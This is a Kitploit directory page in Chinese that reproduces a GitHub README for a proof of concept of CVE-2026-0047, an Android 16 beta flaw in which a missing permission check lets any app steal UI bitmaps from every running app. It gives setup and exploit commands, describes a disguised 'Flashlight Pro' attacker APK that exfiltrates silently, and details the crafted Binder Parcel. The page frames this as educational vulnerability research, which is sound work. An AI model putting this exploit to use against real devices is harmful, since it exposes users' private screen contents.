Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-0047-poc — CVE-2026-0047:ActivityManagerService.dumpBitmapsProto() 中缺少权限检查 — 无需任何权限即可窃取所有正在运行应用的 UI 位图(Android 16 QPR2 Beta) | Kitploit
工具/GitHubGitHub/mobilehackinglab/cve-2026-0047-poc
Android安全权限提升漏洞分析漏洞利用信息收集移动安全学习与教育二进制利用实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubmobilehackinglab/cve-2026-0047-poc

CVE-2026-0047-poc

CVE-2026-0047:ActivityManagerService.dumpBitmapsProto() 中缺少权限检查 — 无需任何权限即可窃取所有正在运行应用的 UI 位图(Android 16 QPR2 Beta)

查看仓库
134145个月前尚未审核

CVE-2026-0047:ActivityManagerService 中缺失的权限检查

从每个正在运行的应用中窃取成堆的位图 — 零权限、零用户交互。

ActivityManagerService.dumpBitmapsProto() 中缺少 enforceCallingOrSelfPermission(DUMP) 检查,导致 Android 16 QPR2 Beta (Baklava) 上任何已安装的应用都能从所有正在运行的进程中窃取 UI 位图。

注意: 此漏洞并非由我们发现。发现并负责任地报告该漏洞的所有功劳归于原始研究人员。本仓库包含我们独立的补丁分析、复现过程和教育性分析文章,旨在帮助安全社区理解相关漏洞类别及所涉及的利用技术。

CVECVE-2026-0047
严重性严重 — CVSS 8.4
组件ActivityManagerService.dumpBitmapsProto()
根本原因缺少权限检查 (CWE-280)
影响任何零权限应用都能窃取所有正在运行应用的 UI 位图
受影响版本Android 16 QPR2 Beta 1–3 (Baklava),补丁级别 < 2026-03-01
已修复2026 年 3 月 Android 安全公告

Repository Contents

├── app/                    # PoC exploit app (audit tool UI)
├── attacker/               # "Flashlight Pro" — disguised attacker app
├── apk/                    # Pre-built APKs (ready to install)
│   ├── cve-2026-0047-poc.apk
│   └── flashlight-pro-attacker.apk
├── exploit.sh              # Single-shot exploit script
├── gradle/                 # Gradle wrapper
└── README.md

搭建测试环境

你需要一个安全补丁级别早于 2026-03-01 的 Android 16 QPR2 Beta (Baklava) 模拟器:

# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"

# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"

# Boot the emulator
emulator -avd baklava &

# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable

快速开始

方案 1:一键脚本(推荐)

# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator

# Already have a Baklava emulator running?
./exploit.sh

# Skip build, just run exploit
./exploit.sh --skip-build

方案 2:预构建 APK

# Install the PoC app
adb install apk/cve-2026-0047-poc.apk

# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings

# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity

# Tap "Exploit dumpBitmapsProto()" button

方案 3:攻击者模拟("Flashlight Pro")

# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk

# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity

工作原理

  1. 原始 Binder 探测 — activity 服务上的事务代码 #117 映射到 dumpBitmapsProto()。在不带参数的情况下发送该事务会在 AMS 内部触发 NullPointerException(而非 SecurityException),证明该方法体在执行时没有任何权限检查。

  2. 原始 Binder 利用 — 我们使用 IBinder.transact() 将手工构造的 Parcel 直接发送给 AMS。这完全绕过了 Android 的隐藏 API 限制 — 无需设置 hidden_api_policy。该 Parcel 包含:

    • 接口令牌(android.app.IActivityManager)
    • 非空标记 + ParcelFileDescriptor(管道写入端)
    • 空字符串数组(所有进程)
    • userId = -2(USER_CURRENT)
    • dumpAll = true
    • format = "png"
  3. 位图提取 — AMS 将包含 PNG 位图的 protobuf 数据写入管道。我们扫描 PNG 魔数(89 50 4E 47)和 IEND 尾部标记来提取各个图像。

结果

在打开了设置、时钟和文件应用的 Baklava 模拟器(BP41.250725.007,补丁 2025-08-05)上:

  • 679,091 字节的 protobuf 数据
  • 从所有正在运行的应用中窃取 63 张有效 PNG 图像
  • PoC 应用声明了零权限

修复方式

Google 在 dumpBitmapsProto() 的第一行添加了 enforceCallingOrSelfPermission(DUMP),因此未授权调用方现在会在访问任何数据之前收到 SecurityException。

参考

  • Android 安全公告 — 2026 年 3 月
  • CVE-2026-0047 — NVD
  • CWE-280:权限不足的不当处理
  • 博客文章:完整分析与利用演练

致谢

研究与 PoC 由 Mobile Hacking Lab 完成。我们出于教育目的独立复现了此漏洞。

免责声明

此概念验证仅用于教育和授权安全研究目的。请仅在您拥有或已获得明确测试许可的设备与环境中使用。作者不对任何滥用行为负责。

下载工具